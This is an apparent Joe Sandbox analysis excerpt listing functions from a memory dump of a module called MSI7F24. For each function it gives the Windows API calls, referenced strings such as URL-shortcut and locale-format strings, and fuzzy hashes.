Opcode Fuzzy Hash: be38b7a26d08611aa2ea31345a83c278132bfa6209997761a86c1b4acfd6cd2c
Instruction Fuzzy Hash: 40328C74A0020ADFCF18CF98C995ABEBBF5EF55304F2441A9DD41A7385D632AE16CB90

Function 00B0E919 Relevance: .6, Instructions: 637COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e2eb2d1cdc7c0db415a1ec2310770492e08ec697c8ac7da951c8d64bae6ea44
Instruction ID: 92a683ba57a2f3d72b455b49e478061d343efab10a56f3da4ff5b76ff095ccb1
Opcode Fuzzy Hash: 8e2eb2d1cdc7c0db415a1ec2310770492e08ec697c8ac7da951c8d64bae6ea44
Instruction Fuzzy Hash: 1732F721E29F424DD7335634C862336A689AFB73D5F15D737E82AB5DAAEF29C4834100

Function 00B018EF Relevance: .2, Instructions: 158COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 241b6fb9a289495fc9e6c92dd56fb41bf9160e20364eef422bda7a05c9cbced3
Instruction ID: 79c9b1856f39500047fcb36f30c44c6c0a7a4d32dee7b31a80b05dce15d3a156
Opcode Fuzzy Hash: 241b6fb9a289495fc9e6c92dd56fb41bf9160e20364eef422bda7a05c9cbced3
Instruction Fuzzy Hash: 83514F72E00119AFDF18CF99C991AAEBFF6FF88310F198499E515AB241C7349E51CB50

Function 00AF9730 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 00e524f45d9eb636d23f4e7cc2e2bbc1bbc6276a2467eea2d229b4a97824f3cf
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 54112B7B22038A43D614AFBEC8F4BB7A795EBC5321B3C437AF3428B758D22299459501

Function 00B103E8 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2864318f6dce3f34aa64f3b9f5968b0c36cd4cfae0ffe164939727a64b01d4d1
Instruction ID: aef45f4408a8812e5169a4ab95ffe54f135bf8062de109ae0457add4f6d01c1c
Opcode Fuzzy Hash: 2864318f6dce3f34aa64f3b9f5968b0c36cd4cfae0ffe164939727a64b01d4d1
Instruction Fuzzy Hash: D7E08C32A2123CEBCB14EBD8C94598AF7FCEB48B00B5105AAF601D3211C2B0EE80C7D0

Function 00B0843F Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dda80f92e8400fcc772db5e13d420266169146e784e576c0d4a49e31e5b18b9
Instruction ID: 95ace362430cd0b839686c04225f8ae1ff7486d99d1d919758579178ee905085
Opcode Fuzzy Hash: 3dda80f92e8400fcc772db5e13d420266169146e784e576c0d4a49e31e5b18b9
Instruction Fuzzy Hash: 5EC08C34000A0187CE399A1082B13AC33D4F3A1782F8009CCC46A0BB83C91F9EC2D640

Function 00AD8790 Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 349filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00AD880D
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00AD8860
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,00000000,00B1A285,000000FF), ref: 00AD886F
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00AD888B
WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,00B1A285,000000FF), ref: 00AD896B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000,00B1A285,000000FF), ref: 00AD8977
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,00000000,00B1A285,000000FF), ref: 00AD89B3
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,00000000,00B1A285,000000FF), ref: 00AD89D2
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,00000000,00B1A285,000000FF), ref: 00AD89EF
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,00000000,00B1A285,000000FF), ref: 00AD8A83
ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000005), ref: 00AD8ACE
ShellExecuteW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000005), ref: 00AD8B1C
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000,00B1A285,000000FF), ref: 00AD8B4B

Strings

URL Shortcut content:, xrefs: 00AD8A09
open, xrefs: 00AD8AC7, 00AD8AE3
[InternetShortcut]URL=, xrefs: 00AD889F
-_.~!*'();:@&=+$,/?#[], xrefs: 00AD88E7, 00AD88FE

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: ByteCharLocalMultiWide$AllocExecuteFileFreeShell$CloseCreateHandleWrite
String ID: -_.~!*'();:@&=+$,/?#[]$URL Shortcut content:$[InternetShortcut]URL=$open
API String ID: 2199533872-3004881174
Opcode ID: af89aaa73f684e37faa0abd94b395940c80fd235c6cd1809413387a1a471cf20
Instruction ID: b973f89da5380e126b66fec62d8e8c8048a51bf4ddc2e15de177f4bf35c4584d
Opcode Fuzzy Hash: af89aaa73f684e37faa0abd94b395940c80fd235c6cd1809413387a1a471cf20
Instruction Fuzzy Hash: 6AC12171A00245AFEB209F68CC55BFFBBB5EF54700F14416AE506AB3D1EB788A05C7A1

Function 00AF7769 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00B34AF8,00000FA0,?,?,00AF7747), ref: 00AF7775
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00AF7747), ref: 00AF7780
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00AF7747), ref: 00AF7791
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00AF77A3
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00AF77B1
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00AF7747), ref: 00AF77D4
DeleteCriticalSection.KERNEL32(00B34AF8,00000007,?,?,00AF7747), ref: 00AF77F0
CloseHandle.KERNEL32(00000000,?,?,00AF7747), ref: 00AF7800

Strings

SleepConditionVariableCS, xrefs: 00AF779D
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00AF777B
WakeAllConditionVariable, xrefs: 00AF77A9
kernel32.dll, xrefs: 00AF778C

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 3f3b791a0105e7c6dc0159251c5c0e0e53009df89bc47b9ccba83b4dcb5a4669
Instruction ID: 409a801896403adc8ac12cd8ea51cc055832f3112fdc979f82abb4ff68e081fc
Opcode Fuzzy Hash: 3f3b791a0105e7c6dc0159251c5c0e0e53009df89bc47b9ccba83b4dcb5a4669
Instruction Fuzzy Hash: A901D431B44311ABD7212BB4BC0DEAE7AE8AB49B51B444065FD11E71A0DFB0D8008664

Function 00ADF010 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 254memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000018,6E9B59AC,?,00000000), ref: 00ADF076
std::_Lockit::_Lockit.LIBCPMT ref: 00ADF0B3
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00ADF11D
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00ADF2B9
std::_Lockit::~_Lockit.LIBCPMT ref: 00ADF376
Concurrency::cancel_current_task.LIBCPMT ref: 00ADF39E

Strings

false, xrefs: 00ADF1D6
bad locale name, xrefs: 00ADF3A3
true, xrefs: 00ADF1EC

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocConcurrency::cancel_current_taskLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name$false$true
API String ID: 975656625-1062449267
Opcode ID: e5ac86120a967ff1898b8b9ac9c9134456ba5427d2583abb23ca443b46f32c99
Instruction ID: 2e0882cdddb358f7dddb6c006ca2fa5f89cb37d4309b603c18633c9e8233d621
Opcode Fuzzy Hash: e5ac86120a967ff1898b8b9ac9c9134456ba5427d2583abb23ca443b46f32c99
Instruction Fuzzy Hash: B5B1A2B1D00388DEEB20DFA5C945BDEBBF4BF14304F1481AAE459AB381E7759A48CB51

Function 00AD6A60 Relevance: 15.1, APIs: 10, Instructions: 137timeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000400,00000000,?,6E9B59AC,?,00000000), ref: 00AD6AC2
OpenProcess.KERNEL32(00000400,00000000,00000000,?,6E9B59AC,?,00000000), ref: 00AD6AE3
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,6E9B59AC,?,00000000), ref: 00AD6B16
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,6E9B59AC,?,00000000), ref: 00AD6B27
CloseHandle.KERNEL32(00000000,?,6E9B59AC,?,00000000), ref: 00AD6B45
CloseHandle.KERNEL32(00000000,?,6E9B59AC,?,00000000), ref: 00AD6B61
CloseHandle.KERNEL32(00000000,?,6E9B59AC,?,00000000), ref: 00AD6B89
CloseHandle.KERNEL32(00000000,?,6E9B59AC,?,00000000), ref: 00AD6BA5
CloseHandle.KERNEL32(00000000,?,6E9B59AC,?,00000000), ref: 00AD6BC3
CloseHandle.KERNEL32(00000000,?,6E9B59AC,?,00000000), ref: 00AD6BDF

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: CloseHandle$Process$OpenTimes
String ID:
API String ID: 1711917922-0
Opcode ID: 888223c1e89b9ca1996809db1504b151451d48b9a28422d253507a65ac074d7c
Instruction ID: 965cd6be9cf521e2023e3d157966113aa04c91c7af747c4264a2de28c3bbfa49
Opcode Fuzzy Hash: 888223c1e89b9ca1996809db1504b151451d48b9a28422d253507a65ac074d7c
Instruction Fuzzy Hash: E8514B71D01218ABDB14CF98D984BEEFBF5AB48724F20825AE519B7390C7745D05CBA8

Function 00AF0834 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 351COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AF083B

Part of subcall function 00AE780A: __EH_prolog3.LIBCMT ref: 00AE7811
Part of subcall function 00AE780A: std::_Lockit::_Lockit.LIBCPMT ref: 00AE781B
Part of subcall function 00AE780A: std::_Lockit::~_Lockit.LIBCPMT ref: 00AE788C

Strings

%H : %M, xrefs: 00AF0980
%b %d %H : %M : %S %Y, xrefs: 00AF0AF3
%I : %M : %S %p, xrefs: 00AF0BC5
%d / %m / %y, xrefs: 00AF0B9E
%H : %M : %S, xrefs: 00AF09F7
%m / %d / %y, xrefs: 00AF0937
:AM:am:PM:pm, xrefs: 00AF0BD0

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: H_prolog3Lockitstd::_$Lockit::_Lockit::~_
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1538362411-2891247106
Opcode ID: c71a2a0d0d52cde304d9611280db95ceba89bf8367f6df117e24ba36201359e3
Instruction ID: 65531203a239f0b215dcf4babe518760b8a4e025b6359f79eff1db28d0513244
Opcode Fuzzy Hash: c71a2a0d0d52cde304d9611280db95ceba89bf8367f6df117e24ba36201359e3
Instruction Fuzzy Hash: 22C16D7254020EAFDF18DFE8C9A5DFA7BB8AB19344F144559FB42E7252E670DA00CB60

Function 00AF59E2 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 351COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AF59E9

Part of subcall function 00ADC590: std::_Lockit::_Lockit.LIBCPMT ref: 00ADC5BD
Part of subcall function 00ADC590: std::_Lockit::_Lockit.LIBCPMT ref: 00ADC5E0
Part of subcall function 00ADC590: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADC608
Part of subcall function 00ADC590: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADC6A7

Strings

%H : %M, xrefs: 00AF5B2E
%b %d %H : %M : %S %Y, xrefs: 00AF5CA1
%I : %M : %S %p, xrefs: 00AF5D73
%d / %m / %y, xrefs: 00AF5D4C
%H : %M : %S, xrefs: 00AF5BA5
%m / %d / %y, xrefs: 00AF5AE5
:AM:am:PM:pm, xrefs: 00AF5D7E

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1383202999-2891247106
Opcode ID: 4eedbf421449620a879746e6e0cf42a8d7637bc3108eddb15361dd667f811586
Instruction ID: 8609f683fbcce2a668c56afb0baf08715cf200202922b71cd527b845c675a648
Opcode Fuzzy Hash: 4eedbf421449620a879746e6e0cf42a8d7637bc3108eddb15361dd667f811586
Instruction Fuzzy Hash: D1C14D7690050DAFDB19DFE8C999DFB7BB8AB09304F14461AFB06A7251E630DA50CB60

Function 00AF0C24 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 351COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AF0C2B

Part of subcall function 00ADB500: std::_Lockit::_Lockit.LIBCPMT ref: 00ADB52D
Part of subcall function 00ADB500: std::_Lockit::_Lockit.LIBCPMT ref: 00ADB550
Part of subcall function 00ADB500: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADB578
Part of subcall function 00ADB500: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADB617

Strings

%H : %M, xrefs: 00AF0D70
%b %d %H : %M : %S %Y, xrefs: 00AF0EE3
%I : %M : %S %p, xrefs: 00AF0FB5
%d / %m / %y, xrefs: 00AF0F8E
%H : %M : %S, xrefs: 00AF0DE7
%m / %d / %y, xrefs: 00AF0D27
:AM:am:PM:pm, xrefs: 00AF0FC0

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1383202999-2891247106
Opcode ID: 2369990d837928dd2bf46ed08c5dda16d68c614acc2b8130e0fd4b76407e32f3
Instruction ID: 7aad531a07df5febb2bf1d4a772f209e311a7e07f4a469e290d68a24796b3a09
Opcode Fuzzy Hash: 2369990d837928dd2bf46ed08c5dda16d68c614acc2b8130e0fd4b76407e32f3
Instruction Fuzzy Hash: FEC14C7650010EAFDF28DFE8C9A5DFF7BB8AB19300F15451AFB46A6252D630DA50CB60

Function 00AD65B0 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 258libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00AD6090: GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00AD60F4
Part of subcall function 00AD6090: GetLastError.KERNEL32 ref: 00AD6190

GetProcAddress.KERNEL32(?,NtQueryInformationProcess), ref: 00AD6632
ReadProcessMemory.KERNEL32(00000000,?,?,000001D8,00000000,?,?,?,?,00000000), ref: 00AD668B
ReadProcessMemory.KERNEL32(00000000,?,?,00000048,00000000,?,?,?,?,?,?,?,00000000), ref: 00AD6712
ReadProcessMemory.KERNEL32(00000000,?,?,?,00000000,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00AD67F6
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00AD686E
GetLastError.KERNEL32(?,00000000), ref: 00AD68C9
FreeLibrary.KERNEL32(?,?,00000000), ref: 00AD691E

Strings

NtQueryInformationProcess, xrefs: 00AD662C

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: MemoryProcessRead$ErrorFreeLast$AddressDirectoryLibraryLocalProcSystem
String ID: NtQueryInformationProcess
API String ID: 253270903-2781105232
Opcode ID: a9ebc29d6e474ec3247605751a5e4f284a0e9c866b1e823d3b15e2f9cf881299
Instruction ID: f67b58c4e99a41743ec4452d987bc0e0b205881349b854a3a64f4e3c9948e47d
Opcode Fuzzy Hash: a9ebc29d6e474ec3247605751a5e4f284a0e9c866b1e823d3b15e2f9cf881299
Instruction Fuzzy Hash: D3B16170D10759DADB20CF64C9587AEBBF0FF48708F10465EE44AA7290D7B9A6C8CB91

Function 00AED491 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AED498
_Maklocstr.LIBCPMT ref: 00AED501
_Maklocstr.LIBCPMT ref: 00AED513
_Maklocchr.LIBCPMT ref: 00AED52B
_Maklocchr.LIBCPMT ref: 00AED53B
_Getvals.LIBCPMT ref: 00AED55D

Part of subcall function 00AE708B: _Maklocchr.LIBCPMT ref: 00AE70BA
Part of subcall function 00AE708B: _Maklocchr.LIBCPMT ref: 00AE70D0

Strings

false, xrefs: 00AED4FC
true, xrefs: 00AED50E

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Maklocchr$Maklocstr$GetvalsH_prolog3_
String ID: false$true
API String ID: 3549167292-2658103896
Opcode ID: be89c98ec3d49c7f749507dffcee9e639b121222953f2d3582f1faf394aea022
Instruction ID: c6d60d66146644e2b7b29a194bc29ceab16ec107ab81623858f3f27b1c563acb
Opcode Fuzzy Hash: be89c98ec3d49c7f749507dffcee9e639b121222953f2d3582f1faf394aea022
Instruction Fuzzy Hash: 81217172D00358AADF15EFE5D946ADE7BB8AF04710F008056B9199F192EA709940CBA1

Function 00ADC9C0 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 480COMMON

Download Yara Rule

APIs

Part of subcall function 00AE5C66: __EH_prolog3.LIBCMT ref: 00AE5C6D
Part of subcall function 00AE5C66: std::_Lockit::_Lockit.LIBCPMT ref: 00AE5C78
Part of subcall function 00AE5C66: std::locale::_Setgloballocale.LIBCPMT ref: 00AE5C93
Part of subcall function 00AE5C66: std::_Lockit::~_Lockit.LIBCPMT ref: 00AE5CE6

std::_Lockit::_Lockit.LIBCPMT ref: 00ADCA1A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00ADCA80
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00ADCB4F

Part of subcall function 00AE45A7: __EH_prolog3.LIBCMT ref: 00AE45AE

std::_Lockit::~_Lockit.LIBCPMT ref: 00ADCC00
LocalFree.KERNEL32(?,?,?,00B2B6C9,00000000,00B2B6C9), ref: 00ADCD01
__cftoe.LIBCMT ref: 00ADCE5E

Strings

bad locale name, xrefs: 00ADCC41

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$H_prolog3Locinfo::_Lockit::_Lockit::~_$FreeLocalLocinfo_ctorLocinfo_dtorSetgloballocale__cftoestd::locale::_
String ID: bad locale name
API String ID: 2085124900-1405518554
Opcode ID: 35a7fb2f0d7db1b7f8511e39f4687530704fa2cbfcdddb330f517129d8ce2155
Instruction ID: d10c11b22afbc8a2b36498847bb341b522473ff3457fca4bcf8c64bc8603d7a8
Opcode Fuzzy Hash: 35a7fb2f0d7db1b7f8511e39f4687530704fa2cbfcdddb330f517129d8ce2155
Instruction Fuzzy Hash: B4128F71D00249DFDF10DFA8C985BAEBBF5EF08314F54416AE856AB381E735AA04CB91

Function 00AFB22C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00AFB34B
